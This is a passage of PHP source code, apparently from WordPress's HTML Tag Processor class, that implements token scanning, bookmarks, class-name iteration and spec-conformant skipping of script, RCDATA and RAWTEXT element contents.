	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
